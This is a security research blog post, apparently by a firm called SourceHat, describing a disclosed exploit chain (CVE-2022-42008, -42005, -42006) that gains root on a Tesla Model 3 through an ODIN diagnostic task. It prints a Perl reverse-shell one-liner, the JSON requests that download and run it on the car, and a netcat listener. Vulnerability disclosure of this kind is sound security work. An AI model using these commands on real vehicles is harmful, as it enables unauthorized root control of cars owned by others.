Tesla Hacking: Part 1 – Obtaining Root on a Tesla Model 3 with Persistent Access

We at SourceHat enjoy Tesla’s vehicles. They become more enjoyable, however, with an increased level of access. By obtaining root access, we gain full control over the car’s infotainment system. And with our persistence method, we retain access to key functions that a rooter can enjoy. Our exploit chain is broken down into three novel vulnerabilities, each of which is listed below along with their assigned CVEs:

CVE-2022-42008: An Improper access control scheme in Tesla’s On-Board Diagnostic Interface (ODIN) allows an attacker to obtain a root shell on the Model 3/Y car computer. (SW-343214)

CVE-2022-42005: An Improper access control scheme in log configuration files allows an attacker who has previously obtained a root shell to persist a lower level of access on Tesla’s Model 3/Y car computer. (SW-336437)

CVE-2022-42006: Tesla Model 3 and Y vehicles have Incorrect Access Control on an Intel-based onboard computer, allowing an attacker who has previously obtained a root shell to alter data values on the fly using the Tesla prototype server (SW-348414)

Our initial exploit to obtain root access stems from the following ODIN task, which can be executed using the lowest (tbx-external) principal level: TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK. There are two variants of this task; one of which accepts a list of strings for the added parameter of “MicTest-Input” which is defined as follows:










When executed, this ODIN task internally calls another ODIN task – CID_EXEC – which will directly execute the list of strings entered using the root account.


To escalate this vulnerability into a root shell, we created the following script (shell.sh) to open a backshell to our local computer using Perl. Note the IP address listed is that of my local computer and the port (1719) is unused. Contents of shell.sh are as follows:


perl -e ‘use Socket;$i=”“;$p=1719;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“sh -i”);};’ 


Next, we connected the car to the same WiFi network as our local computer and opened a local python3 http server using the following command to serve our shell.sh script:


python3 -m http.server 80 –cgi 


Then we used the TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK task to download via curl our shell script to /home/tesla/shell.sh. This requires a Toolbox token from Tesla’s service software and connecting to the car computer via the RJ45 ethernet port or the diagnostic port located in the driver’s footwell. Once connected, we initiated a POST request to with the following contents (auth token omitted):


{“message_type”:”command”,”args”:{“kw”:{“MicTest-Input”:[“curl”,””,”-o”,”/home/tesla/shell.sh”]}, “name”:”Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK”},”command”:”execute”,”tbxtoken”: “OMITTED”, “token OMITTED “, “tokenv2”: {“token”: ” OMITTED “, “intermediate_certificate”: OMITTED”}} 


Executing the above will result in the shell script we created being downloaded to the car. Now we set up a listener on port 1719 of our attacker machine using netcat:


nc -l 1719 


Finally, we executed our shell script using sh, again via the TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK task. To do so, we initiated a POST request to with the following contents:


{“message_type”:”command”,”args”:{“kw”:{“MicTest-Input”:[“/bin/sh”,”/home/tesla/shell.sh”]}, “name”:”Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK”},”command”:”execute”,”tbxtoken”: OMITTTED “, “token”: ” OMITTED “, “tokenv2”: {“token”: OMITTED “, “intermediate_certificate”: “OMITTED”}} 


A moment after the request is received by the car, the terminal window on our attacker machine running the netcat command listening on port 1719 will receive a connection from the car, opening a backshell under the root account.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top